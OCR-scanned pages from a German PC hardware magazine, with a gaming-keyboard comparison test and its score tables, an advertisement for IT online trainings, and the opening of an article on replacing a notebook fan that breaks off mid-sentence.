für die Wahl eines der drei speicher- 
baren Profile und die einfache 
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Makroprogrammierung. Letztge- 
nannte verfügt zusätzlich über eine 
Direktaufzeichnungsfunktion. Dazu 
kommen sechs Sondertasten (u. a. 
Win-Tastensperre) sowie sechs Ma- 
kro- und Multimedia/Office-Knöpfe 


(Doppelbelegung F1 bis F12). 


Die Handballenablage könnte brei- 
ter ausfallen, garantiert aber auch 
Spielern mit langen Fingern eine 
sehr gute Ergonomie. Schade, dass 
Lioncast die F-Tastenreihe zu nah 
ans Haupttastenfeld platziert, denn 
Blindschreiber lösen schnell die 
Е11/Е12- anstelle der Backspace- 
Taste aus. Mehr Kritikpunkte liefer- 
te die LK300 nicht und überzeugte 
in der Praxis mit ihren roten Kailh- 
RGB-Tastern. Die lassen sich schnell 
hintereinander auslósen, produzie- 
ren aber im unteren Bereich des Tas- 
tenfeldes ein „Ping“-Geräusch. 


Mionix Wei: Apple-kompatible Tas- 
tatur mit Designer-Optik. Die Wei 
von Mionix ist kein Keyboard von 
der Stange und macht optisch mit 
ihrem flachen Chassis 
Aluminium-Oberseite sowie einem 
Spiral-Anschlusskabel auf sich auf- 


inklusive 


Creative spendiert der SBX Vanguard K08 keine doppelt belegten F-Tasten. Für das Ab- 
spielen von Medien sowie die Lautstärke stehen separate Tasten und eine Walze bereit. 


E ` 


Neben sechs Gummidom-Tasten für die Makro-Aufzeichnung/-Speicherung lassen sich 
bei Lioncasts LK300 RGB mit den Tasten 1 bis 5 fünf Bekeuchtungsprofile aufrufen. 
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Zum Ausstattung der Asus Sagaris GK1100 gehören Kabelkanäle auf der Rückseite sowie 
ein Satz Kappen der beim Spielen meistbenutzten Tasten inklusive Halterung. 


Damit die Mionix Wei, die keine Höhenverstellung besitzt, auch beim hektischen Spieleein- 
satz bombenfest auf dem Tisch liegt, ist die Unterseite mit einer Gummischicht versehen. 


m Е 
Vpro positioniert bei der V720S vier Sondertasten oberhalb des Nummernblocks. Hier 
findet man auch die VPRO-Taste, mit der man die riesige RGB-Effektpalette abruft. 
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merksam. Dreht man die mit vier 
Multimediatasten oberhalb des 
Nummernblocks bestückte Tasta- 
tur um, entdeckt man die komplett 
gummierte Rückseite, aber auch die 
fehlende Höhenverstellung. Wer 
möchte, kann die Wei mit einer 
Handballenablage nachrüsten (19 
Euro, vier Motive) oder mit Tasten- 
kappensets in drei Farben (siehe 
Seite 91 oben) umgestalten. Die Be- 
leuchtung ist ebenfalls bunt und für 
jedes der fünf speicherbaren Profile 
stehen vier Effekte sowie ein auch 
per Taste abrufbarer Modus für in- 
dividuelle Einstellungen bereit. Hier 
lässt sich in der schlicht gehaltenen 
Software für jede Taste mit zwei 
Mausklicks eine RGB-Farbe wählen. 
Das geht genauso einfach wie die 
Makroprogrammierung. 


Dank drei klar abgesetzter Tasten- 
blöcke und ausreichenden Abstän- 
de zwischen den Tastenkappen gibt 
es beim Blindschreiben keine Fehl- 
griffe und die Ergonomie geht auch 
ohne den Zukauf der bunten Hand- 
ballenablage in Ordnung. Fraglich 
ist, warum Mionix samtliche Dop- 
pelbelegung der Tasten nicht mit 
auf die Keycap druckt. Vielleicht 
will man den Effekt vermeiden, bei 
dem das untere Symbol aufgrund 
der Dioden-Position bei Cherrys 
MX-RGB-Brown-Switch kaum zu 
sehen ist. Im Gegenzug eignen sich 
die taktilen Schalter sowohl für 
eine bedachte Mehrfachbetätigung 
als auch für schnelles Schreiben. 


Asus Sagaris GK1100: Tolle RGB-Be- 
leuchtung per Knopfdruck. Obwohl 
die Sagaris mit 120 Euro eine eher 
günstige Asus-Tastatur ist, braucht 
man keine Sparausstattung erwar- 
ten. Die Chassis-Oberfläche ist mit 
Aluminium veredelt und oberhalb 
des Zehnerblocks befinden sich drei 
Multimediatasten und ein Knopf 
zum Abschalten der Windows-Taste. 
Eine Makrofunktion ist auch vor- 
handen und der Speicher nimmt ein 
Profil inklusive 12 Makros mit bis zu 
60 Tastenbetätigungen sowie die Be- 
leuchtungseinstellungen auf. Wäh- 
rend sich die Makros sehr einfach 
mit der umfangreichen Software 
erstellen lassen, wird Letztgenannte 
für das Aufrufen der sechs Lichtef- 
fekte und Festlegen deren Frequenz 
sowie für die Programmierung der 
Einzeltastenbeleuchtung (Customi- 
zation) nicht benötigt. Das ist von 
Vorteil, wenn man das individuell 


erstellte Beleuchtungsschema und 
die erstellten Makros an einem PC 
ohne Asus-Software wieder abruft. 


Obwohl Asus auf eine Handballen- 
ablage verzichtet, geht die Ergono- 
mie in Ordnung, so gut wie bei der 
Mionix Wei ist sie aber nicht. Leider 
packt Asus die drei Tastenbereiche 
sehr eng zusammen und platziert 
die F-Tastenreihe sehr nah ans 
Haupttastenfeld, sodass Fehlgriffe 
beim Blindschreiben nicht auszu- 
schließen sind. Im Gegenzug gefal- 
len die saubere Ausleuchtung der 
Tastenkappen sowie die Eigenschaf- 
ten der doppelt taktilen Cherry- 
MX-RGB-Blue-Taster. Vielschreibern 
und Spielern gefällt der nach 2,2 
mm fühlbare Auslösepunkt. Da zum 
Klick jedoch zusätzlich ein klappe- 
riges Geräusch kommt, ist die Asus 
Sagaris nichts für Fans der Stille. 


Tesoro Tizon ctrum: Kompaktes 
Keyboard mit Erweiterungsmög- 
lichkeiten. Tesoro bietet die Tizona 
Spectrum als Modell ohne Ziffern- 
block an. Letzterer kann für ca. 45 
Euro nachgekauft werden. Damit 
das NumPad rechts oder links an 
das Kunststoff-Chassis andocken 
kann, ist es am linken und rechten 
Rand mit Magneten bestückt. Der 
Anschluss erfolgt per USB 2.0; ein 
Verlängerungskabel zur freien Plat- 
zierung des Tastenblocks gehört 
zum Lieferumfang. Die Ausstattung 
der Tizona Spectrum ist dem Preis 
von 120 Euro angemessen. Die ab- 
schaltbare RGB-Beleuchtung bie- 
tet sieben per Taste auswählbare 
Effekte. Zusätzlich können mit der 
Software fünf individuelle Beleuch- 
tungsprofile erstellt, im Speicher 
(512 kB) abgelegt und dann mit 
einer der fünf Profiltasten aufge- 
rufen werden. Leider erleichtert 
die Software, deren Schrift bei der 
WQHD- und UHD-Auflósung viel 
zu klein ausfällt, die Programmie- 
rung nicht. Die Makroerstellung ist 
dagegen unkompliziert, zumal eine 
Direktaufzeichnung vorhanden ist. 
Ebenfalls im Ausstattungspaket ent- 
halten sind sechs Multimedia- sowie 
drei Daumentasten, eine Sperre für 
alle Tasten sowie der Wechsel zwi- 
schen dem 6KRO und NKRO per 
Knopf. Obwohl der Mittelblock und 
die F-Tastenreihe bei dem kompak- 
ten Keyboard nah ans Haupttasten- 
feld rücken, vertippt man sich beim 
Blindschreiben kaum. Für Schreib- 
arbeiten eignet sich die Tizona je- 
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doch nur bedingt, ihr eigentlicher 
Einsatzzweck ist das Spielen. 
garantieren die linearen Kailh RGB 
Red mit ihrem geringen Auslóse- 
druck von 45 g (cN) eine schnelle 
produzieren 
dabei aber ein klappriges Geräusch. 


Mehrfachbetätigung, 


Vpro V720S: Günstiger Be 


tungskünstler. Mit ihrem Preis von 


90 Euro ist Vpros Gamer-Ta: 


mit frei stehenden Tastenschaltern 
ein Spar-Tipp, allerdings ohne Spa- 
rausstattung. Von den fehlenden 
USB- und Soundanschlüssen sowie 
der nicht vorhandenen Makro-Di- 
rektaufzeichnung abgesehen bie- 


Hier 


leuch- 


statur 


TASTATUREN FÜR 
SPIELER 


Auszug aus Testtabelle 
mit 45 Wertungskriterien 


Produktname 
Hersteller (Vertrieb) 


eati 
SBX Vongaard КОВ 


Hardware 


SBX Vanguard K08 


Creative (https://de.creative.com/) 


tet die V720S alles, was PC-Spieler 
benötigen. In den Speicher (2 GB) 
passen fünf Profile inklusive Makros 
sowie die für den Game-Modus (M- 
Taste) programmierte Einzeltasten- 
beleuchtung. Während bei der Mak- 
roaufzeichnung eine ARM-CPU und 
die Software helfen, ist das Festle- 
gen des individuellen Beleuchtungs- 
profils per Software kompliziert 
und unübersichtlich. Die breit gefä- 
cherte RGB-Effektpalette (12 Effek- 
te, viele Modi sowie Laufrichtungs- 
und Frequenzsteuerung) lässt sich 
dagegen komplett per Tastenkom- 
bination (Tesoro-Taste + F1 bis F12 
sowie die Pfeiltasten) auch an PCs 


Wer Tesoros Tizona Spectrum nicht mit dem Nummernblock erweitert, findet an der rechten/ 
linken oberen Seite des Chassis einen USB-2.0-Port (Stromkabel gehört zum Lieferumfang). 


PREIS-LEISTUNGS-TIPP 
ncast 
з 


Нагйшаге 


LK300 RGB 


Lioncast (www.lioncast.com) 


Wei 


Mionix (https://mionix.io) 


Sagaris GK1100 


Asus (www.asus.com) 


Preis/Preis-Leistung 


Ca. € 165,- Euro/3 


Ca. € 120,- Euro/24- 


Ca. € 180,- Euro/4 


Ca. € 120,- Euro/2 


www.pcgh.de/preis/1560777 www.pcgh.de/preis/1659898 www.pcgh.de/preis/1131185311 www.pcgh.de/preis/1522301 
Bauart/Anschluss Kabeltastatur/USB 2.0 Kabeltastatur/USB 2.0 Kabeltastatur/USB 2.0 Kabeltastatur/USB 2.0 
Ausstattung (20 %) 1,35 11,55 12,28 2,10 

Kabellänge Ca. 200 cm Ca. 180 cm Ca. 200 cm (Spiralkabel) Ca. 190 cm 
Handballenablage Ja (modular) а Nein (kann für 19 Euro zugekauft werden) Nein 


Beleuchtung/Feature- und Effektumfang/ 
Effekt per Taste abrufbar 


Ja, RGB-Beleuchtung (programmierbare Einzel- 
tastenbeleuchtung im vollen RGB-Farbspektrum 
mit 11 vorgefertigten Effekten [8 Modifika- 
tionen pro Effekt] und einem individuellen 
Modus), 4 Helligkeitsstufen/sehr gut/ja, Effekte 


а, RGB-Beleuchtung (programmierbare 
Einzeltastenbeleuchtung im vollen RGB-Farb- 
spektrum mit 14 Effekten inkl. Frequenzregler, 
arbwechsel, Reset-Modus [Vollbeleuchtung] 
und 5 individuelle Profile), 5 Helligkeitsstufen/ 


Ja, RGB-Beleuchtung (programmierbare 
Einzeltastenbeleuchtung im vollen RGB-Farb- 
spektrum mit 4 Effekten und einem individu- 
ellen Modus pro Profil), 4 Helligkeitsstufen/ 
gut bis sehr gut/ja, Effekte und programmierte 


Ja, RGB-Beleuchtung (programmierbare 
Einzeltastenbeleuchtung im vollen RGB-Farb- 
spektrum mit 6 Effekten inklusive Geschwin- 
digkeitsregler und ein Customization-Modus), 
4 Helligkeitsstufen/sehr gut/ja, Effekte und 


mit 11 vorgefertigten Effekten, 8 Modifika- 
tionen pro Effekt und einem individuellen 
ойи, 7 Multimedia- und 5 Makrotasten, 
Lautstárkenwaülze, Makrofunktion, Speicher 
ür Makros und Beleuchtungseffekte, Wie- 
derholungsverzógerung und Wiederholrate 
in der Software einstellbar, NKRO, 1.000 Hz 


tung mit 14 Effekten und fünf individuellen 
rofilen, 12 Multimediatasten (Doppelbele- 
gung F1 bis F12), 6 Sondertasten (u.a. Knopf 
zum Sperren der Windows-Taste), Makrofunk- 
tion mit Direktaufzeichnung und 5 separaten 
asten, Speicher (2 MB, 3 Profile), NKRO, 
1.000 Hz Polling Rate 


und individuelle Beleuchtung (Software) per Fn | sehr gut/ja, alle Effekte und die 5 individuelle | Beleuchtung per Taste abrufbar (ohne die programmierbare Einzeltastenbeleuchtung 
+ Pfeiltastentaste abrufbar. rofile lassen sich per Taste abrufen/erstellen | Software) perTaste ohne Software möglich 
Tastenanzahl 118 Tasten 119 Tasten 111 Tasten 111 Tasten 
USB-Ports/Soundanschlüsse 1 x USB 2.0/nein Nein/nein Nein/nein Nein/nein 
Extras Programmierbare RGB-Einzeltastenbeleuchtung |Programmierbare RGB-Einzeltastenbeleuch- |Programmierbare RGB-Einzeltastenbeleuch- |Programmierbare RGB-Einzeltastenbeleuch- 


tung mit 4 Effekten und einem Custom-Mo- 
dus, 4 separate Multimediatasten (über dem 
Zehnerblock), Makrofunktion (maximal 37 
Zeichen), Speicher (5 Profile und Makros, nur 
mit installierter Software abrufbar), NKRO 
per Software, 1.000 Hz Polling Rate, An- 
ti-Rutsch-Beschichtung auf der Rückseite 


tung mit 6 Effekten und einem Customiza- 
tion-Modus, drei separate Multimediatasten 
(über dem Zehnerblock), Makrofunktion (ohne 
Software abrufbar), Speicher (Beleuchtungs- 
einstellungen, Profil, 12 Makros mit max. 

60 Tastendrücken), Knopf zum Sperren der 
Windows-Taste, NKRO per Software, 1.000 Hz 


olling Rate Polling Rate, Kabelkanále auf der Rückseite 
Hóhenverstellung а а Nein Ja 
Eigenschaften (20 %) 1,48 1,89 1,48 1,78 
Tastaturlayout/Übersichtlichkeit Full-Size (Standard MF/ISO)/sehr gut ull-Size (Standard MF/ISO)/gut bis sehr gut | Full-Size (Standard MF/ISO)/sehr gut Full-Size (Standard MF/ISO)/gut bis sehr gut 
Tastenhöhe (Haupttasten) ormal Normal Normal Normal 
Ergonomie/Rutschfestigkeit Sehr gut/gut bis sehr gut Sehr gut/gut bis sehr gut Gut/sehr gut Gut/gut bis sehr gut 


Windowstasten 


a, per Taste deaktivierbar 


a, per Taste deaktivierbar 


Ja, per Taste deaktivierbar 


Ja, per Taste deaktivierbar 


x B x H)/Gewicht 


Tastenanschlag/Druckpunkt 


1,5 x 3,8 cm/k. A. 


Sehr gut/sehr gut 


44 22 /ca. 1.117 Gramm 


Sehr gut/Sehr gut 


46,0 x 19,0 x 4,7 cm /ca. 1.208 Gramm 


Sehr gut/Sehr gut 


Sehr gut/Sehr gut 


Schalterart/Aktivierungsdruck 


PRES-Switch [Omron] (Taktil ‚haptisch, 45 cN 
[g]; 1,5 mm Auslóse- und 3,5 mm Betáti- 
gungsgsweg, transparentes Schaltergeháuse) 


Kailh RGB Red (Linear, 45 cN [g]; 2 mm 
Auslöse- und 4 mm Betätigungsweg, transpa- 
rentes Schaltergeháuse) 


Cherry MX RGB Brown (taktil: haptisch, 55 cN 
[g], 2,0 mm Auslóseweg, 4 mm Betátigungs- 
weg, transparentes Schaltergeháuse) 


Cherry MX RGB Blue (taktil: haptisch uns 
akustisch, 60 cN [g], 2,2 mm Auslóseweg, 4 
mm Betätigungsweg, transparentes Schal- 
tergeháuse) 


Key Rollover 


26KRO (USB-Port) 


NKRO (USB-Port) 


NKRO (USB-Port, per Software) 


NKRO (USB-Port, per Software) 


Software: Anwenderfreundlichkeit/Umfang 


Sehr gut/sehr umfrangreich 


seht gut/wenig umfangreich 


Sehr gut/umfrangreich 


Sehr gut/sehr umfrangreich 


Software: Beleuchtungsprogrammierung/ 
Effekte 


Sehr einfache Programmierung der individuellen 
RGB-Einzeltastenbeleuchtung sowie Effektmo- 
difikation/12 vorgegebene Effekte (per Tasten- 
kombination aufrufbar) 


5 individuelle Beleuchtungsprofile ohne 
Software erstell und abspielbar/14 Effekte 
sowie drei Zusatzmodi per Software oder per 
Fn-Taste aufrufbar 


5 individuelle Beleuchtungsprofile sehr 
einfach programmierbar/4 Effekte und ein 
Custom-Modus (für jedes Profil ohne Software 
speicher und abrufbar) 


Sehr einfache Programmierung der RGB-Ein- 
zeltastenbeleuchtung und Effektwahl/-modifi- 
kation/6 vorgegebene Effekte (per Tastenkom- 
bination aufrufbar) 


Frei programmierbare Makros 


Ja (zeitverzögert, inklusive Speicher) 


Ja (zeitverzógert, inklusive Speicher und 
Direktaufzeichnung) 


Ja (zeitverzógert, inklusive Speicher) 


Ja (zeitverzögert, inklusive Speicher) 


Office-/Spiele-Tauglichkeit 


Sehr gut/sehr gut 


FAZIT 


© Software: Umfang und Bedienung 


© Ergonomie/12 Effekte per Taste abrufbar © Platz zwis 


Wertung: 1,44 


www.pcgameshardware.de 


Sehr gut/sehr gut 


Gut/sehr gut 


Gut bis sehr gut/sehr gut 


O umfangreiche, software-freie Beleuchtung: e Beleuchtungseffekte/Makros ohne Software © Effektprogrammierung ohne Software 


© Ergonomie dank Handballenablage 
hen Hauptfeld und F-Tasten 


Wertung: 1,50 


© Eigenschaften der Cherry-MX-RGB-Brown 


Keine HëhenverstellungiHandballenabl, ` 


Wertung: 1,56 
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© Software/Eigenschaften Tastenschalter 


© Keine Handballenablage/übersichtlichkeit 


Wertung: 1,59 
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abrufen, auf welchen Tesoros um- 
fangreiche Software nicht installiert 
ist. Je ein Knopf zum Sperren der 
Win-Taste und des Tons, die 1.000 
Hz Polling-Rate, der N-Key-Rollover 
(NKRO) und eine Handballenablage 
runden die gut bis sehr gute Ausstat- 
tung ab. 


Vpro bewirbt die V720S als kom- 
pakt, die Tastenblócke sind trotz- 
dem so abgesetzt, dass Blindschrei- 
ber nicht daneben greifen. Die 
Handballenablage ist für Spieler mit 
langen Fingern und großen Händen 
zu schmal. Die akustisch/haptisch 
taktilen Zen-Tech-RGB-Blue-Taster 
kommen ihren Cherry-MX-RGB-Vor- 
bildern vom Tippgefühl mit 50 cN 
und 2 mm statt 2,2 mm Anschlags- 
weg sehr nahe. Beim Geräuschent- 


wicklungsvergleich unterliegen sie 
jedoch, da sie klapperig klingen. 


Logitech G213 Prodigy: Preiswerte 
Mechanik-Alternative. Logitechs 
G213 Prodigy ist die einzige Tastatur 
mit Gummi-Dome-Schaltern im Test 
und kostet mit 60 Euro nur die Hälf- 
te oder ein Drittel eines Modells mit 
Cherry-, Kailh- oder Omron-Swit- 
ches. Was der Spieler für diesen Preis 
geboten bekommt, fällt ist kaum 
geringer als bei den hochpreisigen 
Eingabegeräten. Zur Ausstattung der 
G213 Prodigy gehören eine Hand- 
ballenablage, sieben Multimediata- 
sten, ein Knopf, der die Win-Taste 
deaktiviert, ein Beleuchtungsschal- 
ter, eine Makrofunktion sowie ein 
Speicher für ein Profil inklusive Ma- 
kros und Beleuchtungseinstellung. 


Bei den zur Verfügung stehenden 
Lichtspielereien muss der Käufer 
der G213 Prodigy allerdings Abstri- 
che machen. Die finden zwar auch 
im RGB-Farbraum statt, die Funkti- 
on, jede Taste einzeln einfärben zu 
können, steht nicht zur Verfügung. 
Zu den vier Effekten, die man in der 
sehr umfangreichen Gaming-Soft- 
ware festlegen kann, kommt noch 
ein Zonenmodus zur individuellen 
Einstellung der Leuchtfarbe für jede 
der fünf Zonen. Da Logitech sich 
bei der absolut rutschfesten G213 
an das Standard-Tastenlayout hält 
und Multimediatasten oberhalb des 
Zehnerblocks platziert, können alle 
Tasten leicht erreicht werden. Die 
etwas zu schmal geratene Handbal- 
lenablage garantiert eine fast perfek- 
te Ergonomie. Wie von früheren Lo- 


gitech- Gamer-Keyboards gewohnt, 
fallen der mittelharte Druckpunkt 
und der knackige Anschlag der Tas- 
ten definiert und gut spürbar aus. 
Das macht die G213 zu einem guten 
und günstigen Spielgefährten und 
Schreibgerät. (fs) 


Fazit Hardware 


Tastaturen für Spieler 

Dank besserer Ausstattung und übersicht- 
licherem Tastenlayout liegt die Creative 
SBX Vanguard K08 knapp vor der Lioncast 
LK300 RGB. Dafür bietet unser Preis-Leis- 
tungs-Tipp bei der RGB-Beleuchtung die 
umfangreichere Effektpalette. Die Wei 
von Minonix ist ein spielertaugliches De- 
signerstück und Vpro hat mit der V720S 
einen echten Spartipp im Angebot. 


TASTATUREN FÜR 
SPIELER 


Auszug aus Testtabelle 
mit 45 Wertungskriterien 


Produktname 
Hersteller (Vertrieb) 


Tizona Spectrum 
Tesoro (www.tesorotec.com) 


SPAR-TIPP 


Mich 


Нагйшаге 


V720S 


Vpro (www.vpro-gaming.com) 


G213 Prodigy 


Logitech (www.logitech.de) 


Preis/Preis-Leistung 


Bauart/Anschluss 
Ausstattung (20 %) 
Kabellänge 


Ca. € 120,- Euro/2 


Ca. € 90,- Euro/1- 


Ca. € 60,- Euro/2+ 


PCGH-Preisvergleich www.pcgh.de/preis/1561234 


www.pcgh.de/preis/1592661 


www.pcgh.de/preis/1503355 


Kabeltastatur/USB 2.0 
1,80 
Ca. 180 cm/100 cm (abnehmbares Kabel/Stromversorgung) 


Kabeltastatur/USB 2.0 
1,76 
Ca. 200 cm 


Kabeltastatur/USB 2.0 
2,40 
Ca. 180 cm 


Handballenablage 


Nein 


Ja (modular) 


Ja (nicht modular) 


Beleuchtung/Feature- und Effektumfang/ 
Effekt per Taste abrufbar 


Ja, RGB-Beleuchtung (programmierbare Einzeltastenbe- 
leuchtung im vollen RGB-Farbspektrum mit 7 Effekten und 5 
individuell prgrammierbaren Profilen), 5 Helligkeitsstufen/sehr 
gut/ja, Beleuchtungseffekte und Profileinstellung per Taste ohne 
Software aufrufbar 


Ja, RGB-Beleuchtung (programierbare Einzeltastenbeleuchtung 
im vollen RGB-Farbspektrum mit 12 Effekten [mit 4 Modifikati- 
onen/Frequenzeinstellungen], Gaming-Modus [M-Taste] für die 
propgrammierte Beleuchtung, 5 Helligkeitsstufen/sehr gut/ja, 
alle Beleuchtungseffekte und Gaming-Modus per Taste abrufbar 


Ja, RGB-Beleuchtung (keine Einzeltasten-, sonden nur Zonenbe- 
leuchtung im vollem RGB-Farbspektrum sowie 4 voreingestellte 
Effekte), keine Helligkeitsstufen/befriedigend: RGB Zonenbe- 
leuchtung (5 Zonen) und 4 Effekte/nein 


und 5 individuellen Profilen, 6 Multimediatasten (Doppelbe- 
egung F7 bis F12), 3 Daumentasten, Makrofunktion (Direkt- 
aufzeichnung), 512 kb Speicher (Fünf Profile inkl. Beleuchtung 
und Makros), ARM Cortex CPU (32 Bit), Umschaltung zwischen 
KRO und 6KRO (Fn + Einfg/Entf), 1.000 Hz Polling Rate, Sper- 
re für die Windows-Taste (Fn + Pause) und alle Tasten (Fn + F6) 


Tastenanzahl 93 Tasten 111 Tasten 116 Tasten 
USB-Ports/Soundanschlüsse a, 2 x USB 2.0 (ohne zusätzliches Numpad)/nein 2 x USB 2.0/nein Nein/nein 
Extras Programmierbare RGB-Einzeltastenbeleuchtung mit 7 Effekten | Programmierbare RGB-Einzeltastenbeleuchtung mit 12 Effekten 


mit vielen Modi, ein Gaming-Modus (M-Taste), 4 Sondertasten 
über dem Zehnerblock (u.a. Taste zum Aufrufen der Lichteffekte, 
zum Sperren des Windows-Knopfs sowie Gaming-Mode-Taste), 
ichtleiste, 32-Bit-ARM-CPU (60 MHz), Makrofunktion (ohne 
Software abrufbar), Speicher (2 Megabyte), NKRO, 1.000 Hz 
olling Rate 


Programmierbare RGB-Zonenbeleuchtung mit 4 Effekten (Soft- 
ware), sieben separate Multimediatasten, Profilspeicher (ein 
Standardprofil + Makros), Taste für Gamer-Modus (Win-Taste 
ist gesperrt), NKRO, 1.000 Hz Polling-Rate Software, Spritz- 
wasserschutz 


Hóhenverstellung a, zwei zweistufig a Ja 

Eigenschaften (20 %) 1,88 1,58 1,48 
Tastaturlayout/Übersichtlichkeit enkeyless (Standard MF ohne Nummernblock)/gut bis sehr gut | Full-Size (Standard MF/ISO)/sehr gut Full-Size (Standard MF/ISO)/sehr gut 
Tastenhöhe (Haupttasten) Mittelhohe Tastenkappen (Höhe: 6,2 mm) Normal Normal 
Ergonomie/Rutschfestigkeit Gut/gut bis sehr gut Gut bis sehr gu/gut bis sehr out Gut bis Sehr gut/Sehr gut 


Windowstasten 


a, per Tastenkombination deaktivierbar 


a, per Tasten deaktivierbar 


Ja, per Tasten deaktivierbar 


Abmessungen (L x B x H)/Gewicht 
Leistung (60 %) 
Tastenanschlag/Druckpunkt 


37,5 x 15,4 x 2,4 cm/ca. 1080 Gramm 
1,45 
Sehr gut/Sehr gut 


43,3x 19,6 x 3,7 cm/975 Gramm 
1,65 
Sehr gut/sehr gut 


45,2 x 21,8 x 3,3 mm/ca. 1.000 Gramm 
1,85 
Gut bis sehr gut/gut bis sehr gut 


Schalterart/Aktivierungsdruck 


Kailh RGB Red (linear, 45 cN [g]-/- 1,5 cN [g], 2,0 mm Auslöse- 
und 2,0 mm Betätigungsweg, transparentes Schaltergehäuse) 


Кароо (Zen-Tech) RGB Blue (Taktil ‚haptisch/akustisch, 50 cN 
[g]; 2,0 mm Auslöse- und 2 mm Anschlagsweg, transp.Gehäuse) 


Gummidom-Tastenschalter mit mittelhoher Druckkraft sowie 
definiertem Auslósepunkt und Anschlag 


Key Rollover 


6KRO/NKRO (USB-Port) 


NKRO (USB-Port) 


NKRO (USB-Port) 


Software: Anwenderfreundlichkeit/Umfang 


Befriedigend/umfrangreich 


Befriedigend/umfrangreich 


Sehr gut/sehr umfangreich 


Software: Beleuchtungsprogrammierung/ 
Effekte 


5 Individuelle Beleuchtungsprofile per Software erstellbar/ 
8 Effekte per Taste wählbar 


komplizierte Programmierung der Einzeltastenbeleuchtung im Ga- 
ming-Modus/12 Effekte inkl. Modifikationen (per Taste abrufbar) 


Individuelle Zonenbeleuchtung sehr einfach programmierbar/4 
Effekte und vier Laufrichtungen für die Farbwelle пит per Soft- 
ware abruf- und programmierbar 


Frei programmierbare Makros 


Ja (zeitverzögert inklusive Speicher und Direktaufzeichnung) 


Ja (zeitverzögert, inklusive Speicher) 


Ja (zeitverzógert, inklusive Speicher) 


Office-/Spiele-Tauglichkeit 


Gut/sehr gut 


FAZIT 


© RGB-Beleuchtungseffekte per Taste aufrufbar 
© Eigenschaften der Kailh-RGB-Red-Tastenschalter 
© Beleuchtungsprogrammierung per Software 


Wertung: 1,61 
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7 


Gut bis sehr gut/sehr gut 


© Sehr viele Lichteffekte mit umfanreichen Modifikationen 
© Eigenschaften Zen-Tech-Schalter (Cherry MX RGB) 
© Software wenig umfangreich/nicht anwederfreundlich 


Wertung: 1,66 


Gut bis sehr gut/gut bis sehr gut 


© Ausstattung im Verhältnis zum Preis 
© Gummidom-Schalter mit definiertem Druckpunkt 
© Keine programmierbare Einzeltastenbeleuchtung 


Wertung: 1,88 
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LPIC-1 / LPIC-2 Trainings 


mit Ingo Wichmann , Linuxhotel 


LPIC-1 (LPI 101 + 102) 


LPIC-2 (LPI 201 + 202) 


linuXhotel 


Einfache IMAP-Server mit Dovecot 


É 
E 


= mit Peer Heinlein, 
4 Heinlein Support GmbH 


та 
Tl 


heinlein 


Python für Systemadministratoren 


mit Rainer Grimm, 
Science + computing AG 


= ё puthon` 


Рирреї Fundamentals 


Das offizielle Training 
mit Achim Ledermüller, 
NETWAYS GmbH 


mNETWwAYSy: /NPUppet 


Y 
f /ComputecAcademy 


www.computec-academy.de 


; IT- Onlinetrainings 


Mit Experten lernen. 


m Lernen Sie, wo und 
wann Sie möchten. 


= Sparen Sie Zeit und Kosten. 


= Bleiben Sie trotz zeitlicher Engpässe 
up-to-date. 


cmo 


Effiziente BASH-Skripte 
{ mit Klaus Knopper, 

13» Gründer der Knoppix-Distribution, 
KNOPPER.NET 


199€ 


d L [нух Linux Foundation 
FOUNDATION шшш 


AUTHORIZED TRAINING 


PARTNER 


LFS201 — Essentials of System Administration 
Englisch, inkl. Prüfungsvoucher 


LFS211 - Linux Networking and Administration 
Englisch, inkl. Prüfungsvoucher 


LFS252 — 0penStack Administration Fundamentals 
Englisch, inkl. Prüfungsvoucher 


Linux-Hochverfügbarkeit und Clusterbau 


mit Dr. Michael Schwartzkopff, 
sys4 AG 


[*] 5у54 


Enterprise Experts 


INFRASTRUKTUR | Notebook-Lüftertausch 


кча ch 


Operation. 


am offenen 


Notebook 


Das Notebook in seine 


Einzelteile zu zerlegen, 


ist recht kompliziert, 


aber kein Hexenwerk. 


Wir zeigen, wie eine 
Lüftertransplantation 


klappt. 


äuft der Desktop-Rechner nicht 

mehr rund? Kein Problem, ist ja 
alles austauschbar und nachkauf- 
bar. Für den Rechnerbau bedarf 
es keines Elektrotechnik-Studiums, 
sondern lediglich etwas Grundwis- 
sens, Geschickes und Erfahrung. 
Wenn also ein Lüfter im Rechner 
làrmt, weil er defekt ist, tauscht 
man ihn mit wenigen Handgriffen 
und hóchstens vier Verschraubun- 
gen aus - nichts leichter als das. 
Beim Notebook aber gestaltet sich 
das weitaus schwieriger. Die Her- 
steller haben kein Interesse daran, 
die schlanken Komplettrechner 
modular zu gestalten. Von weni- 
gen Komponenten wie Festplatte 
oder Arbeitsspeicher abgesehen, 
gibt es hier kaum standardisierte 
Formfaktoren oder Steckverbin- 
dungen. Gehäuse, Hauptplatine 
und Kühlsystem sind also nahezu 
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unauswechselbar aufeinander ab- 
gestimmt. 
Grafikchip lassen sich nicht auf- 
rüsten - wie etwa am PC üblich. 
Ein extra Sockel benötigt mehr 
Platz auf der Platine, der ist aber 
in Notebooks umso rarer, daher 


Auch Prozessor oder 


werden die Chips fest verlötet - so 
der Grund der Hersteller. Jedoch 
ist selbst bei großen Modellen bes- 
tenfalls die Grafikkarte über eine 
MXM-Schnittstelle verbunden. Mit 
diesem über zehn Jahre alten Stan- 
dard ließen sich eigentlich auch 
MXM-Grafikkarten 
nur leider gibt es keine auf dem 
Endverbrauchermarkt. 


austauschen, 


Läuft das Notebook also nicht mehr 
rund, bleibt einem nichts anderes 
übrig, als auf die Herstellergaran- 


tie zurückzugreifen. Diese beträgt 
bei den meisten Herstellern zwei 
Jahre, manche geben auch stan- 
dardmäßig drei Jahre. Garantiever- 
längerungen gibt es nahezu von 
jedem, kostet natürlich extra. Ist 
die Garantie abgelaufen und ist ir- 
gendwas an den Innereien defekt, 
muss man entweder damit leben 
oder das ganze Gerät zum Elektro- 
тїш erklären. 


Nun hat der Notebook-Redakteur 
der PCGH sporadisch Sprechstun- 
de für die Sorgen seiner Kollegen 
bezüglich ihrer privaten Note- 
books. Ein Modell wurde mit lär- 
mendem Lüfter eingeliefert, so als 
würde eine kleine Säge im Gerät 
arbeiten. Nach Rücksprache mit 
dem  LüfterFachredakteur war 
klar, dass das Lager hinüber sein 


muss. Der Notebook-Besitzer hat- 
te Glück, denn es waren auf Ebay 
Nachbauten des Lüftermodells zu 
finden. Die findet man dort über 
die Suche mit der Modellbezeich- 
nung. Kostenpunkt beim gewerbli- 
chen Händler: circa 15 Euro. Noch 
immer weitaus günstiger als ein 
kompletter Neukauf. Die Garantie 
des mehrere Jahre alten Gerätes 
war längst abgelaufen, sodass der 
